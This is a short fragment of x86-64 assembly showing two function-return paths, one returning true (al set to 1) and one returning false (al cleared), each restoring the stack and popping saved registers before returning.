mov al, 1
mov rdi, qword [rsp + 0x50]
add rsp, 0x58
pop rsi
pop rbp
ret
xor al, al
add rsp, 0x58
pop rsi
pop rbp
ret